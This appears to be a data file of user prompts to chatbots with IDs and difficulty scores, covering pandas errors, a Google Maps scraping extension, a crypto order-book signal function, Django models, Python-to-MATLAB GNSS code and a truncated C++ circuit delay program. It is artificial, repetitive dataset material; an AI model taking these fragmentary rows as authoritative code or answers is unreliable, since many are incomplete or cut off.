3875 # results if our categories are integers that dont match our codes
3876 # IntervalIndex: IntervalTree has no get_loc
-> 3877 row = self.index.get_loc(index)
3878 return series._values[row]
3879
~\anaconda3\lib\site-packages\pandas\core\indexes\datetimes.py in get_loc(self, key)
584 return Index.get_loc(self, key)
585 except KeyError as err:
--> 586 raise KeyError(orig_key) from err
587
588 @doc(DatetimeTimedeltaMixin._maybe_cast_slice_bound)
KeyError: Timestamp('2013-08-19 00:00:00') 错误信息如下 帮我看看怎么改？ | a0a4574f68fd6e2a6395b151bc6cbbec | {
"intermediate": 0.38120245933532715,
"beginner": 0.3119480013847351,
"expert": 0.3068494498729706
} |
18,022 | Act as a Chrome Extension developer. Generate code for chrome extension to scrap google maps places data with proper files and folder structure. | cfe18b96238c6a9032579a361ad863f3 | {
"intermediate": 0.4905896484851837,
"beginner": 0.20573550462722778,
"expert": 0.3036748170852661
} |
18,023 | I used your code: def signal_generator(df):
if df is None or len(df) < 2:
return ''
signal = []
# Retrieve depth data
threshold = 0.1
depth_data = client.depth(symbol=symbol)
bid_depth = depth_data['bids']
ask_depth = depth_data['asks']
buy_price = float(bid_depth[0][0]) if bid_depth else 0.0
sell_price = float(ask_depth[0][0]) if ask_depth else 0.0
mark_price_data = client.ticker_price(symbol=symbol)
mark_price = float(mark_price_data['price']) if 'price' in mark_price_data else 0.0
buy_qty = sum(float(bid[1]) for bid in bid_depth)
sell_qty = sum(float(ask[1]) for ask in ask_depth)
if sell_qty > buy_qty and (sell_qty / buy_qty) > (1 + threshold):
signal.append('sell')
elif buy_qty > sell_qty and (buy_qty / sell_qty) > (1 + threshold):
signal.append('buy')
else:
signal.append('')
return signal
But it giving me only signal to buy, please don't copy my code and give me code which will give me signal to buy sell or empty | 0af71e1b17423b4d600ed54952ddee2e | {
"intermediate": 0.37353649735450745,
"beginner": 0.28985893726348877,
"expert": 0.3366045355796814
} |
18,024 | class News(models.Model):
id = models.AutoField(primary_key=True, verbose_name='id')
writer = models.CharField(max_length=200, verbose_name='writer')
title = models.CharField(max_length=200, blank=True, verbose_name='title')
text = models.TextField(blank=True)
url = models.URLField(blank=True)
python
Copy
def __str__(self):
if self.writer :
return u'%s -- %s' % (self.title , self.writer)
else:
return u'%s' % (self.title)
class Reviews(models.Model):
id = models.AutoField(primary_key=True, verbose_name='id')
writer = models.CharField(max_length=200, verbose_name='writer')
text = models.TextField(blank=True)
url = models.URLField(blank=True)
python
Copy
def __str__(self):
if self.writer :
return u'%s -- %s' % (self.url , self.writer)
else:
return u'%s' % (self.url)
class Film(models.Model):
id = models.AutoField(primary_key=True, verbose_name='id')
title = models.CharField(max_length=150, db_index=True, blank=True, verbose_name='title')
type = models.IntegerField(choices=((1, 'movies'), (2, 'series')), verbose_name='type')
ageClassification = models.CharField(max_length=150, db_index=True, verbose_name='ageClassification',null=True)
runtime = models.CharField(max_length=150, db_index=True, verbose_name='runtime')
featureYear = models.IntegerField(blank=True,null=True)
description = HTMLField(blank=True, verbose_name='description',null=True)
keyWordUrl = models.URLField(blank=True, verbose_name='keyWordLink',null=True)
storyLineUrl = models.URLField(blank=True, verbose_name='storyLineLink',null=True)
newsUrl = models.URLField(blank=True, verbose_name='newsLink',null=True)
criticUrl = models.URLField(blank=True, verbose_name='criticLink',null=True)
storyline= HTMLField(blank=True, verbose_name='storyline',null=True)
sysnopse= HTMLField(blank=True, verbose_name='synopse',null=True)
imdbScoreRate = models.FloatField(null=True, blank=True, verbose_name="imdbScore")
MetaScoreRate = models.FloatField(null=True, blank=True, verbose_name="metaScore")
imdbLink = models.URLField(verbose_name='ImdbLink',unique=True)
productionStatus = models.CharField(max_length=200, blank=True,null=True, verbose_name='productionStatus')
numVotes = models.FloatField(null=True, blank=True, verbose_name="numVotes")
stars = models.CharField(max_length=250, blank=True,null=True)
writers = models.CharField(max_length=250, blank=True,null=True)
directors = models.CharField(max_length=250, blank=True,null=True)
releaseDate = models.DateField(blank=True, null=True)
artists = models.ManyToManyField(Artist, related_name='artists', through='Role', blank=True, verbose_name='artists',null=True)
engagementStatistics = models.IntegerField(blank=True, verbose_name='engagementStatistics',null=True)
genre = models.JSONField(blank=True,null=True)
boxOffice = models.JSONField(blank=True,null=True)
company = models.JSONField(blank=True,null=True)
cast = models.JSONField(blank=True,null=True)
relatedReviews = models.ManyToManyField(Reviews,through='FilmReviews', related_name='reviews',blank=True,verbose_name='reviews')
relatedReviewsJson = models.JSONField(blank=True,null=True)
relatedNewsJson = models.JSONField(blank=True,null=True)
relatedNews = models.ManyToManyField(News,through='FilmNews',related_name='news',blank=True, verbose_name='news' )
pubDate = models.DateTimeField('date published', auto_now_add=True, db_index=True)
periodPriority = models.JSONField(blank=True,null=True)
ThreeMonthPriority = models.FloatField(null=True, blank=True)
SixMonthPriority = models.FloatField(null=True, blank=True)
FarMonthPriority = models.FloatField(null=True, blank=True)
priorityMaxEngCompany = models.FloatField(null=True, blank=True)
priorityMaxMovieActor = models.FloatField(null=True, blank=True)
priorityMaxMovieDirecotr = models.FloatField(null=True, blank=True)
priorityMeta = models.FloatField(null=True, blank=True)
priority_meta_group = models.CharField(max_length=20, blank=True, null=True)
modifyDate = models.DateTimeField(auto_now=True, db_index=True)
InYearPriority = models.FloatField(null=True, blank=True)
class FilmNews(models.Model):
film = models.ForeignKey(Film, on_delete=models.CASCADE)
news = models.ForeignKey(News, on_delete=models.CASCADE)
class FilmReviews(models.Model):
film = models.ForeignKey(Film, on_delete=models.CASCADE)
review = models.ForeignKey(Reviews, on_delete=models.CASCADE)
conside my django models below i want to see the reviews that connected to a specific film | 173986e51b8bb090aaf340ad352f23ea | {
"intermediate": 0.2606687843799591,
"beginner": 0.5387904644012451,
"expert": 0.2005407065153122
} |
18,025 | I used your code : def signal_generator(df):
if df is None or len(df) < 2:
return ''
signal = []
# Retrieve depth data
threshold = 0.1
depth_data = client.depth(symbol=symbol)
bid_depth = depth_data['bids']
ask_depth = depth_data['asks']
buy_price = float(bid_depth[0][0]) if bid_depth else 0.0
sell_price = float(ask_depth[0][0]) if ask_depth else 0.0
mark_price_data = client.ticker_price(symbol=symbol)
mark_price = float(mark_price_data['price']) if 'price' in mark_price_data else 0.0
buy_qty = sum(float(bid[1]) for bid in bid_depth)
sell_qty = sum(float(ask[1]) for ask in ask_depth)
if sell_qty > buy_qty and (sell_qty / buy_qty) > (1 + threshold):
signal.append('sell')
elif buy_qty > sell_qty and (buy_qty / sell_qty) > (1 + threshold):
signal.append('buy')
else:
signal.append('')
return signal
But it giving me only signal to buy , I was need to take loss , give me code which will give me signals to buy sell or empty | e16df5b7c25d3404de3660210dd295f0 | {
"intermediate": 0.479497492313385,
"beginner": 0.23644982278347015,
"expert": 0.28405264019966125
} |
18,026 | from openpyxl import load_workbook
import pandas as pd
import datetime
# 打开Excel文件
wb = load_workbook(filename=r'C:\Users\LIQI\Documents\民生基金\行业打分\钢铁数据跟踪汇总.xlsx', read_only=True, data_only=True)
# 选择指定的sheet
sheet = wb['产销数据'] # 这里的Sheet3是你要读取的sheet名称，可以根据实际情况修改
# 选择指定的列
columns = [0, 11, 12, 13, 14, 15]
# 读取数据
data = []
for row in sheet.iter_rows(values_only=True):
data.append([row[column] for column in columns])
# 构建DataFrame
headers = ['Column1','Column2', 'Column3', 'Column4', 'Column5', 'Column6'] # 这里是DataFrame的列名，可以根据实际情况修改
df = pd.DataFrame(data, columns=headers)
df = df[1:]
df.columns = df.iloc[0]
df = df[1:]
# 将第一列作为索引并转换为datetime格式
df.set_index(df.columns[0], inplace=True)
df.index = pd.to_datetime(df.index)
def calculate_percentile(df,date, column):
date = pd.to_datetime(date)
year = date.year
month = date.month
day = date.day
five_years_ago = datetime.datetime.now() - pd.DateOffset(years=5)
history_dates = df[(df.index.month == month) & (df.index.day == day) & (df.index.year <= year) & (df.index > five_years_ago)].index
history_values = df[df.index.isin(history_dates)][column]
target_value = df.loc[date, column]
mean_target_value = df.loc[date:date-4, column].mean()
min_value = history_values.min()
max_value = history_values.max()
percentile= (target_value - min_value) / (max_value - min_value) * 100
return percentile
return history_dates
percentile =calculate_percentile(df,'2023-08-19','螺纹钢')
print(percentile)
print(history_dates)
TypeError Traceback (most recent call last)
~\AppData\Local\Temp/ipykernel_8864/817727447.py in <module>
43 return percentile
44 return history_dates
---> 45 percentile =calculate_percentile(df,'2023-08-19','螺纹钢')
46 print(percentile)
47 print(history_dates)
我运行上述代码 返回了如下错误 请帮我看下原因？
~\AppData\Local\Temp/ipykernel_8864/817727447.py in calculate_percentile(df, date, column)
37 history_values = df[df.index.isin(history_dates)][column]
38 target_value = df.loc[date, column]
---> 39 mean_target_value = df.loc[date:date-4, column].mean()
40 min_value = history_values.min()
41 max_value = history_values.max()
~\anaconda3\lib\site-packages\pandas\_libs\tslibs\timestamps.pyx in pandas._libs.tslibs.timestamps._Timestamp.__sub__()
~\anaconda3\lib\site-packages\pandas\_libs\tslibs\timestamps.pyx in pandas._libs.tslibs.timestamps._Timestamp.__add__()
TypeError: Addition/subtraction of integers and integer-arrays with Timestamp is no longer supported. Instead of adding/subtracting `n`, use `n * obj.freq` | d412f2bb7a13d307eac5efda9e78616a | {
"intermediate": 0.36316946148872375,
"beginner": 0.39141619205474854,
"expert": 0.2454143762588501
} |
18,027 | Write a matlab function for making a step-down counter from 10 to 1 | 3a83f3d759e6070920a1ed0693abcb6b | {
"intermediate": 0.15968920290470123,
"beginner": 0.2344236820936203,
"expert": 0.6058870553970337
} |
18,028 | could you post the past scripts | acc9bcb46c65399c65b0542b7327f51f | {
"intermediate": 0.3199043273925781,
"beginner": 0.3908480703830719,
"expert": 0.28924763202667236
} |
18,029 | def zdres(nav, obs, rs, dts, svh, rr, rtype=1):
""" non-differencial residual """
_c = gn.rCST.CLIGHT
nf = nav.nf
n = len(obs.P)
y = np.zeros((n, nf*2))
el = np.zeros(n)
e = np.zeros((n, 3))
rr_ = rr.copy()
if nav.tidecorr:
pos = gn.ecef2pos(rr_)
disp = tidedisp(gn.gpst2utc(obs.t), pos)
rr_ += disp
pos = gn.ecef2pos(rr_)
for i in range(n):
sys, _ = gn.sat2prn(obs.sat[i])
if svh[i] > 0 or sys not in nav.gnss_t or obs.sat[i] in nav.excl_sat:
continue
r, e[i, :] = gn.geodist(rs[i, :], rr_)
_, el[i] = gn.satazel(pos, e[i, :])
if el[i] < nav.elmin:
continue
r += -_c*dts[i]
zhd, _, _ = gn.tropmodel(obs.t, pos, np.deg2rad(90.0), 0.0)
mapfh, _ = gn.tropmapf(obs.t, pos, el[i])
r += mapfh*zhd
dant = gn.antmodel(nav, el[i], nav.nf, rtype)
for f in range(nf):
j = nav.obs_idx[f][sys]
if obs.L[i, j] == 0.0:
y[i, f] = 0.0
else:
y[i, f] = obs.L[i, j]*_c/nav.freq[j]-r-dant[f]
if obs.P[i, j] == 0.0:
y[i, f+nf] = 0.0
else:
y[i, f+nf] = obs.P[i, j]-r-dant[f]
return y, e, el
convert this python code to matlab. write simple as possible | 313c057eb677f092bbd0213886781694 | {
"intermediate": 0.3385579586029053,
"beginner": 0.37007948756217957,
"expert": 0.29136255383491516
} |
18,030 | I have this code: def signal_generator(df):
if df is None or len(df) < 2:
return ''
signal = []
# Retrieve depth data
threshold = 0.1
depth_data = client.depth(symbol=symbol)
bid_depth = depth_data['bids']
ask_depth = depth_data['asks']
buy_price = float(bid_depth[0][0]) if bid_depth else 0.0
sell_price = float(ask_depth[0][0]) if ask_depth else 0.0
mark_price_data = client.ticker_price(symbol=symbol)
mark_price = float(mark_price_data['price']) if 'price' in mark_price_data else 0.0
buy_qty = sum(float(bid[1]) for bid in bid_depth)
sell_qty = sum(float(ask[1]) for ask in ask_depth)
if sell_qty > buy_qty and (sell_qty / buy_qty) > (1 + threshold):
signal.append('sell')
elif buy_qty > sell_qty and (buy_qty / sell_qty) > (1 + threshold):
signal.append('buy')
else:
signal.append('')
return signal
How does working this ocde? | 1e067dda8de79aceceef979036670220 | {
"intermediate": 0.47286248207092285,
"beginner": 0.24768295884132385,
"expert": 0.2794545888900757
} |
18,031 | def ddres(nav, x, y, e, sat, el):
""" DD phase/code residual """
_c = gn.rCST.CLIGHT
nf = nav.nf
ns = len(el)
mode = 1 if len(y) == ns else 0 # 0:DD,1:SD
nb = np.zeros(2*len(nav.gnss_t)*nf, dtype=int)
Ri = np.zeros(ns*nf*2)
Rj = np.zeros(ns*nf*2)
nv = 0
b = 0
H = np.zeros((ns*nf*2, nav.nx))
v = np.zeros(ns*nf*2)
idx_f = [0, 1]
for sys in nav.gnss_t:
for f in range(nf):
idx_f[f] = nav.obs_idx[f][sys]
for f in range(0, nf*2):
if f < nf:
freq = nav.freq[idx_f[f]]
# reference satellite
idx = sysidx(sat, sys)
if len(idx) > 0:
i = idx[np.argmax(el[idx])]
for j in idx:
if i == j:
continue
if y[i, f] == 0.0 or y[j, f] == 0.0:
continue
# DD residual
if mode == 0:
if y[i+ns, f] == 0.0 or y[j+ns, f] == 0.0:
continue
v[nv] = (y[i, f]-y[i+ns, f])-(y[j, f]-y[j+ns, f])
else:
v[nv] = y[i, f]-y[j, f]
H[nv, 0:3] = -e[i, :]+e[j, :]
if f < nf: # carrier
idx_i = IB(sat[i], f, nav.na)
idx_j = IB(sat[j], f, nav.na)
lami = _c/freq
v[nv] -= lami*(x[idx_i]-x[idx_j])
H[nv, idx_i] = lami
H[nv, idx_j] = -lami
Ri[nv] = varerr(nav, el[i], f)
Rj[nv] = varerr(nav, el[j], f)
nav.vsat[sat[i]-1, f] = 1
nav.vsat[sat[j]-1, f] = 1
else:
Ri[nv] = varerr(nav, el[i], f)
Rj[nv] = varerr(nav, el[j], f)
nb[b] += 1
nv += 1
b += 1
v = np.resize(v, nv)
H = np.resize(H, (nv, nav.nx))
R = ddcov(nb, b, Ri, Rj, nv)
return v, H, R
convert this python code to matlab. write simple as possible | 624695c5667bad8e9d3069ff3e71d8dc | {
"intermediate": 0.3953838348388672,
"beginner": 0.4203895330429077,
"expert": 0.18422666192054749
} |
18,032 | def restamb(nav, bias, nb):
""" restore SD ambiguity """
nv = 0
xa = nav.x.copy()
xa[0:nav.na] = nav.xa[0:nav.na]
for m in range(gn.uGNSS.GNSSMAX):
for f in range(nav.nf):
n = 0
index = []
for i in range(gn.uGNSS.MAXSAT):
sys, _ = gn.sat2prn(i+1)
if sys != m or (sys not in nav.gnss_t) or nav.fix[i, f] != 2:
continue
index.append(IB(i+1, f, nav.na))
n += 1
if n < 2:
continue
xa[index[0]] = nav.x[index[0]]
for i in range(1, n):
xa[index[i]] = xa[index[0]]-bias[nv]
nv += 1
return xa
def resamb_lambda(nav, sat):
""" resolve integer ambiguity using LAMBDA method """
nx = nav.nx
na = nav.na
xa = np.zeros(na)
ix = ddidx(nav, sat)
nb = len(ix)
if nb <= 0:
print("no valid DD")
return -1, -1
# y=D*xc, Qb=D*Qc*D', Qab=Qac*D'
y = nav.x[ix[:, 0]]-nav.x[ix[:, 1]]
DP = nav.P[ix[:, 0], na:nx]-nav.P[ix[:, 1], na:nx]
Qb = DP[:, ix[:, 0]-na]-DP[:, ix[:, 1]-na]
Qab = nav.P[0:na, ix[:, 0]]-nav.P[0:na, ix[:, 1]]
# MLAMBDA ILS
b, s = mlambda(y, Qb)
if s[0] <= 0.0 or s[1]/s[0] >= nav.thresar[0]:
nav.xa = nav.x[0:na].copy()
nav.Pa = nav.P[0:na, 0:na].copy()
bias = b[:, 0]
y -= b[:, 0]
K = Qab@np.linalg.inv(Qb)
nav.xa -= K@y
nav.Pa -= K@Qab.T
# restore SD ambiguity
xa = restamb(nav, bias, nb)
else:
nb = 0
return nb, xa
convert this python code to matlab. write simple as possible | df77a3dd3299ceed2c4c848176783263 | {
"intermediate": 0.29090386629104614,
"beginner": 0.44955071806907654,
"expert": 0.2595454454421997
} |
18,033 | I used your code: def signal_generator(df):
if df is None or len(df) < 2:
return ''
signal = []
# Retrieve depth data
threshold = 0.1
depth_data = client.depth(symbol=symbol)
bid_depth = depth_data['bids']
ask_depth = depth_data['asks']
buy_price = float(bid_depth[0][0]) if bid_depth else 0.0
sell_price = float(ask_depth[0][0]) if ask_depth else 0.0
mark_price_data = client.ticker_price(symbol=symbol)
mark_price = float(mark_price_data['price']) if 'price' in mark_price_data else 0.0
buy_qty = sum(float(bid[1]) for bid in bid_depth)
sell_qty = sum(float(ask[1]) for ask in ask_depth)
if sell_qty > buy_qty and (sell_qty / buy_qty) > (1 + threshold):
signal.append('sell')
elif buy_qty > sell_qty and (buy_qty / sell_qty) > (1 + threshold):
signal.append('buy')
else:
signal.append('')
return signal
But it giving me only signal to buy, please give me code which will give me signals to buy sell and empty | 2f53278b48d0315cbe8ba72725139483 | {
"intermediate": 0.43996462225914,
"beginner": 0.21528491377830505,
"expert": 0.34475043416023254
} |
18,034 | def holdamb(nav, xa):
""" hold integer ambiguity """
nb = nav.nx-nav.na
v = np.zeros(nb)
H = np.zeros((nb, nav.nx))
nv = 0
for m in range(gn.uGNSS.GNSSMAX):
for f in range(nav.nf):
n = 0
index = []
for i in range(gn.uGNSS.MAXSAT):
sys, _ = gn.sat2prn(i+1)
if sys != m or nav.fix[i, f] != 2:
continue
index.append(IB(i+1, f, nav.na))
n += 1
nav.fix[i, f] = 3 # hold
# constraint to fixed ambiguity
for i in range(1, n):
v[nv] = (xa[index[0]]-xa[index[i]]) - \
(nav.x[index[0]]-nav.x[index[i]])
H[nv, index[0]] = 1.0
H[nv, index[i]] = -1.0
nv += 1
if nv > 0:
R = np.eye(nv)*VAR_HOLDAMB
# update states with constraints
nav.x, nav.P, _ = kfupdate(nav.x, nav.P, H[0:nv, :], v[0:nv], R)
return 0
def relpos(nav, obs, obsb):
""" relative positioning for RTK-GNSS """
nf = nav.nf
if gn.timediff(obs.t, obsb.t) != 0:
return -1
rs, _, dts, svh = satposs(obs, nav)
rsb, _, dtsb, svhb = satposs(obsb, nav)
# non-differencial residual for base
yr, er, elr = zdres(nav, obsb, rsb, dtsb, svhb, nav.rb, 0)
ns, iu, ir = selsat(nav, obs, obsb, elr)
y = np.zeros((ns*2, nf*2))
e = np.zeros((ns*2, 3))
if ns < 4:
return -1
y[ns:, :] = yr[ir, :]
e[ns:, :] = er[ir, :]
# Kalman filter time propagation
udstate(nav, obs, obsb, iu, ir)
xa = np.zeros(nav.nx)
xp = nav.x
# non-differencial residual for rover
yu, eu, el = zdres(nav, obs, rs, dts, svh, xp[0:3])
y[:ns, :] = yu[iu, :]
e[:ns, :] = eu[iu, :]
el = el[iu]
sat = obs.sat[iu]
nav.el[sat-1] = el
# DD residual
v, H, R = ddres(nav, xp, y, e, sat, el)
Pp = nav.P
# Kalman filter measurement update
xp, Pp, _ = kfupdate(xp, Pp, H, v, R)
# non-differencial residual for rover after measurement update
yu, eu, _ = zdres(nav, obs, rs, dts, svh, xp[0:3])
y[:ns, :] = yu[iu, :]
e[:ns, :] = eu[iu, :]
# residual for float solution
v, H, R = ddres(nav, xp, y, e, sat, el)
if valpos(nav, v, R):
nav.x = xp
nav.P = Pp
else:
nav.smode = 0
nb, xa = resamb_lambda(nav, sat)
nav.smode = 5 # float
if nb > 0:
yu, eu, _ = zdres(nav, obs, rs, dts, svh, xa[0:3])
y[:ns, :] = yu[iu, :]
e[:ns, :] = eu[iu, :]
v, H, R = ddres(nav, xa, y, e, sat, el)
if valpos(nav, v, R):
if nav.armode == 3:
holdamb(nav, xa)
nav.smode = 4 # fix
nav.t = obs.t
return 0
convert this python code to matlab. write simple as possible | 6ae9a327b469ef721e35e4179f61d0ba | {
"intermediate": 0.27358514070510864,
"beginner": 0.49894627928733826,
"expert": 0.2274685949087143
} |
18,035 | def resamb_lambda(nav, sat):
""" resolve integer ambiguity using LAMBDA method """
nx = nav.nx
na = nav.na
xa = np.zeros(na)
ix = ddidx(nav, sat)
nb = len(ix)
if nb <= 0:
print("no valid DD")
return -1, -1
# y=D*xc, Qb=D*Qc*D', Qab=Qac*D'
y = nav.x[ix[:, 0]]-nav.x[ix[:, 1]]
DP = nav.P[ix[:, 0], na:nx]-nav.P[ix[:, 1], na:nx]
Qb = DP[:, ix[:, 0]-na]-DP[:, ix[:, 1]-na]
Qab = nav.P[0:na, ix[:, 0]]-nav.P[0:na, ix[:, 1]]
# MLAMBDA ILS
b, s = mlambda(y, Qb)
if s[0] <= 0.0 or s[1]/s[0] >= nav.thresar[0]:
nav.xa = nav.x[0:na].copy()
nav.Pa = nav.P[0:na, 0:na].copy()
bias = b[:, 0]
y -= b[:, 0]
K = Qab@np.linalg.inv(Qb)
nav.xa -= K@y
nav.Pa -= K@Qab.T
# restore SD ambiguity
xa = restamb(nav, bias, nb)
else:
nb = 0
return nb, xa
def initx(nav, x0, v0, i):
""" initialize x and P for index i """
nav.x[i] = x0
for j in range(nav.nx):
nav.P[j, i] = nav.P[i, j] = v0 if i == j else 0
def kfupdate(x, P, H, v, R):
""" kalmanf filter measurement update """
PHt = P@H.T
S = H@PHt+R
K = PHt@np.linalg.inv(S)
x += K@v
P = P - K@H@P
return x, P, S
convert this python code to matlab | df36cf8f7fd6d75e30fa31fcbb30d513 | {
"intermediate": 0.4436250627040863,
"beginner": 0.24616596102714539,
"expert": 0.3102090060710907
} |
18,036 | Generate a good looking and modern html template for "google maps scraping" chrome extension | 5baffb2d2cd07fb736079133d583e4ed | {
"intermediate": 0.3832271099090576,
"beginner": 0.22757282853126526,
"expert": 0.3892000913619995
} |
18,037 | I have this code: def signal_generator(df):
if df is None or len(df) < 2:
return ''
signal = []
# Retrieve depth data
threshold = 0.1
depth_data = client.depth(symbol=symbol)
bid_depth = depth_data['bids']
ask_depth = depth_data['asks']
buy_price = float(bid_depth[0][0]) if bid_depth else 0.0
sell_price = float(ask_depth[0][0]) if ask_depth else 0.0
mark_price_data = client.ticker_price(symbol=symbol)
mark_price = float(mark_price_data['price']) if 'price' in mark_price_data else 0.0
buy_qty = sum(float(bid[1]) for bid in bid_depth)
sell_qty = sum(float(ask[1]) for ask in ask_depth)
if sell_qty > buy_qty and (sell_qty / buy_qty) > (1 + threshold):
signal.append('sell')
elif buy_qty > sell_qty and (buy_qty / sell_qty) > (1 + threshold):
signal.append('buy')
else:
signal.append('')
return signal
But it doesn't give me signals to sell | afc86bfe3a47a8f7ca3c327c1d9d68fd | {
"intermediate": 0.4599379003047943,
"beginner": 0.34426170587539673,
"expert": 0.19580042362213135
} |
18,038 | Generate a good looking and modern html landing page for “google maps scraping” chrome extension | de92ec815044cf819c6e19645750d701 | {
"intermediate": 0.3259631097316742,
"beginner": 0.24711903929710388,
"expert": 0.4269178509712219
} |
18,039 | I used your code: def signal_generator(df):
if df is None or len(df) < 2:
return ''
signal = []
# Retrieve depth data
threshold = 0.1
depth_data = client.depth(symbol=symbol)
bid_depth = depth_data['bids']
ask_depth = depth_data['asks']
buy_price = float(bid_depth[0][0]) if bid_depth else 0.0
sell_price = float(ask_depth[0][0]) if ask_depth else 0.0
mark_price_data = client.ticker_price(symbol=symbol)
mark_price = float(mark_price_data['price']) if 'price' in mark_price_data else 0.0
buy_qty = sum(float(bid[1]) for bid in bid_depth)
sell_qty = sum(float(ask[1]) for ask in ask_depth)
if sell_qty > buy_qty and (sell_qty / buy_qty) > (1 + threshold):
signal.append('sell')
elif buy_qty > sell_qty and (buy_qty / sell_qty) > (1 + threshold):
signal.append('buy')
else:
signal.append('')
return signal
But it giving me only signal to buy, and because of this problem I was need to take a loss , give me right code which will give me signals to buy sell or empty , and don't copy my code !!! | 03d455a48152219c7cb429a48c3143ad | {
"intermediate": 0.4249280095100403,
"beginner": 0.23336215317249298,
"expert": 0.34170979261398315
} |
18,040 | #include<iostream>
#include<fstream>
#include<vector>
#include<sstream>
#include<cstring>
using namespace std;
int loc(vector<string> v, string word) {
for (int i = 0; i<v.size();i++) {
if (v[i]==word) {
return i;
}
}
return -1;
}
int main(int count, char** args) {
if (!strcmp("A",args[1])) {
ifstream myfile;
myfile.open(args[3]);
string line;
float gate_delay[5];
while(getline(myfile,line)){
stringstream ss(line);
string word;
ss>>word;
if (word == "AND2") {
ss>>word;
gate_delay[0] = stof(word);
}
else if (word == "NAND2") {
ss>>word;
gate_delay[1] = stof(word);
}
else if (word == "OR2") {
ss>>word;
gate_delay[2] = stof(word);
}
else if (word == "NOR2") {
ss>>word;
gate_delay[3] = stof(word);
}
else if (word == "INV") {
ss>>word;
gate_delay[4] = stof(word);
}
};
myfile.close();
vector<string> signame;
vector<float> sigtime;
vector<int> sigtype;
myfile.open(args[2]);
while(getline(myfile,line)) {
stringstream ss(line);
string word;
ss>>word;
if (word=="PRIMARY_INPUTS") {
while(ss>>word) {
signame.push_back(word);
sigtype.push_back(0);
sigtime.push_back(0);
}
}
else if (word=="PRIMARY_OUTPUTS") {
while(ss>>word) {
signame.push_back(word);
sigtype.push_back(-2);
sigtime.push_back(0);
}
}
else if (word=="INTERNAL_SIGNALS") {
while(ss>>word) {
signame.push_back(word);
sigtype.push_back(-1);
sigtime.push_back(0);
}
}
}
myfile.close();
bool done = false;
while(!done) {
myfile.open(args[2]);
while(getline(myfile,line)) {
stringstream ss(line);
string word;
string s1,s2,s3;
int n1,n2,n3;
ss>>word;
if (word=="AND2") {
ss>>s1;
ss>>s2;
ss>>s3;
n1 = loc(signame,s1);
n2 = loc(signame,s2);
n3 = loc(signame,s3);
if (sigtype[n1] >= 0 && sigtype[n2] >= 0 && sigtype[n3] < 0) {
sigtime[n3] = max(sigtime[n1],sigtime[n2]) + gate_delay[0];
sigtype[n3] = -sigtype[n3];
}
}
if (word=="NAND2") {
ss>>s1;
ss>>s2;
ss>>s3;
n1 = loc(signame,s1);
n2 = loc(signame,s2);
n3 = loc(signame,s3);
if (sigtype[n1] >= 0 && sigtype[n2] >= 0 && sigtype[n3] < 0) {
sigtime[n3] = max(sigtime[n1],sigtime[n2]) + gate_delay[1];
sigtype[n3] = -sigtype[n3];
}
}
if (word=="OR2") {
ss>>s1;
ss>>s2;
ss>>s3;
n1 = loc(signame,s1);
n2 = loc(signame,s2);
n3 = loc(signame,s3);
if (sigtype[n1] >= 0 && sigtype[n2] >= 0 && sigtype[n3] < 0) {
sigtime[n3] = max(sigtime[n1],sigtime[n2]) + gate_delay[2];
sigtype[n3] = -sigtype[n3];
}
}
if (word=="NOR2") {
ss>>s1;
ss>>s2;
ss>>s3;
n1 = loc(signame,s1);
n2 = loc(signame,s2);
n3 = loc(signame,s3);
if (sigtype[n1] >= 0 && sigtype[n2] >= 0 && sigtype[n3] < 0) {
sigtime[n3] = max(sigtime[n1],sigtime[n2]) + gate_delay[3];
sigtype[n3] = -sigtype[n3];
}
}
if (word=="INV") {
ss>>s1;
ss>>s2;
n1 = loc(signame,s1);
n2 = loc(signame,s2);
if (sigtype[n1] >= 0 && sigtype[n2] < 0) {
sigtime[n2] = (sigtime[n1]) + gate_delay[4];
sigtype[n2] = -sigtype[n2];
}
}
}
myfile.close();
done = true;
for (int i = 0; i < signame.size(); i++) {
if (sigtype[i]<0) {
done = false;
break;
}
}
}
ofstream outputter;
outputter.open("output_delays.txt",ios::trunc);
for (int i = 0; i < signame.size(); i++) {
if (sigtype[i]==2) {
outputter<<signame[i]<<" "<<sigtime[i]<<endl;
}
}
outputter.close();
}
else if (!strcmp("B",args[1])) {
vector<string> gates = {"AND2","NAND2","OR2","NOR2","INV"};
ifstream myfile;
myfile.open(args[3]);
string line;
float gate_delay[5];
while(getline(myfile,line)){
stringstream ss(line);
string word;
ss>>word;
if (word == "AND2") {
ss>>word;
gate_delay[0] = stof(word);
}
else if (word == "NAND2") {
ss>>word;
gate_delay[1] = stof(word);
}
else if (word == "OR2") {
ss>>word;
gate_delay[2] = stof(word);
}
else if (word == "NOR2") {
ss>>word;
gate_delay[3] = stof(word);
}
else if (word == "INV") {
ss>>word;
gate_delay[4] = stof(word);
}
};
myfile.close();
vector<string> signame;
vector<string> inputs;
vector<float> sigtime;
vector<int> sigtype;
myfile.open(args[2]);
while(getline(myfile,line)) {
stringstream ss(line);
string word;
ss>>word;
if (word=="PRIMARY_INPUTS") {
while(ss>>word) {
signame.push_back(word);
inputs.push_back(word);
sigtype.push_back(1);
sigtime.push_back(0);
}
}
else if (word=="PRIMARY_OUTPUTS") {
while(ss>>word) {
signame.push_back(word);
sigtype.push_back(0);
sigtime.push_back(0);
}
}
else if (word=="INTERNAL_SIGNALS") {
while(ss>>word) {
signame.push_back(word);
sigtype.push_back(1);
sigtime.push_back(0);
}
}
}
myfile.close();
myfile.open(args[4]);
float m;
while(getline(myfile,line)) {
stringstream ss(line);
string word;
string s1;
while(ss>>word) {
int n1 = loc(signame,word);
if (n1>=0) {
ss>>s1;
sigtime[n1] = stof(s1);
m = max(m,stof(s1));
}
}
}
for(int i = 0; i < sigtime.size(); i++) {
if (sigtime[i] == 0) {
sigtime[i] = m;
}
}
myfile.close();
bool done = false;
while(!done) {
myfile.open(args[2]);
while(getline(myfile,line)) {
stringstream ss(line);
string word;
string s1,s2,s3;
int n1,n2,n3;
ss>>word;
if (word=="AND2" || word=="NAND2" || word == "OR2" || word == "NOR2") {
ss>>s1;
ss>>s2;
ss>>s3;
n1 = loc(signame,s1);
n2 = loc(signame,s2);
n3 = loc(signame,s3);
sigtime[n1] = min(sigtime[n1],sigtime[n3]-gate_delay[loc(gates,word)]);
sigtime[n2] = min(sigtime[n2],sigtime[n3]-gate_delay[loc(gates,word)]);
sigtype[n1]+=sigtype[n3];
sigtype[n2]+=sigtype[n3];
}
else if (word == "INV") {
ss>>s1;
ss>>s2;
n1 = loc(signame,s1);
n2 = loc(signame,s2);
sigtime[n1] = min(sigtime[n1],sigtime[n2]-gate_delay[loc(gates,word)]);
sigtype[n1]+=sigtype[n2];
}
}
for(int i = 0; i < signame.size(); i++) {
